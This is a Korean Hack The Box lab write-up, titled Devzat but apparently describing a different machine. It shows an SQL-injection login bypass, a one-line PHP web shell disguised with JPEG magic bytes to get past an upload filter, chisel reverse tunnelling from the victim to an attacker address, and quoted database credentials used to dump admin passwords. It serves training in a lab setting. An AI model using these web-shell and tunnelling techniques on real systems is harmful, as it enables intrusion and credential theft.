HTB-Devzat Write up
golang, git-dumper
웹페이지 접속 시 image를 업로드 하는 페이지에서 login.php 경로를 발견
추가적인 스캔에서 images 경로에서 uploads 경로 발견
sql injection 으로 간단하게 로그인 우회 가능
로그인 성공 시 이미지를 업로드 할 수 있는 페이지 발견
php 웹쉘을 업로드 해 보았지만 확장자를 필터링 하고 있음
확장자 명을 바꾸고 content-Type를 변경해 보았지만 우회가 불가능
파일의 hex값을 살펴보면 앞의 hex로 파일을 구분할 수 있음
jpg 의 경우 4가지로 구분할 수 있음
1. FF D8 FF DB
2. FF D8 FF E0 00 10 4A 46 49 46 00 01
3. FF D8 FF EE
4. FF D8 FF E1 ?? ?? 45 78 69 66 00 00
magic byte를 사용하여 webshell.php 파일을 jpg 형태로 생성
echo 'FFD8FFD8' | xxd -r -p > shell.php.jpg
//이후의 코드에 웹쉘 코드 입력
vi shell.php.jpg
// 또는 아래의 방법으로 간단한 웹쉘 생성
echo 'FFD8FFDB' | xxd -r -p > webshell.php.jpg
echo '<?=`$_GET[0]`?>' >> webshell.php.jpg
file type 확인 시 jpeg 형태인것을 확인 가능
해당 파일을 업로드 시 자동으로 jpeg 파일로 인식하여 업로드 가능
초기 스캔으로 발견한 images/uploads 폴더로 이동하여 파일 이름 입력 시 업로드한 파일로 접근 가능
db.php5 의 수상한 파일 발견
mysql dbname , username, password를 획득하였지만 mysql이 설치가 안되있음
https://github.com/jpillora/chisel
버전에 맞는 파일 다운로드 chisel_1.7.7_linux_arm64.gz
chisel 은 피해자의 로컬 호스트를 공격자의 서버에서 접근할 수 있도록 연결해주는 툴
1. 공격자의 서버에서 reverse server 실행
./chisel server -p 6000 -reverse
2. 피해자의 서버에서 원하는 포트 연결 (해당 예시에서는 3306 포트)
./chisel client 10.10.14.3:6000 R:6001:127.0.0.1:3306
3.피해자의 서버에서만 접근가능한 127.0.0.1:3306을 공격자의 6001 포트에서 접근 가능
mysql -h 127.0.0.1 -P 6001 -u theseus -p iamkingtheseus
mysql에서 admin의 패스워드 획득 가능
mysqldump 를 사용하여 mysql dump 가능
// -u 유저명 , -p 데이터베이스명
mysqldump -u theseus -p Magic
덤프 내용을 통해 admin 패스워드 획득 가능
위의 두가지 방법으로 획득한 패스워드를 통해 theseus 계정 접근 가능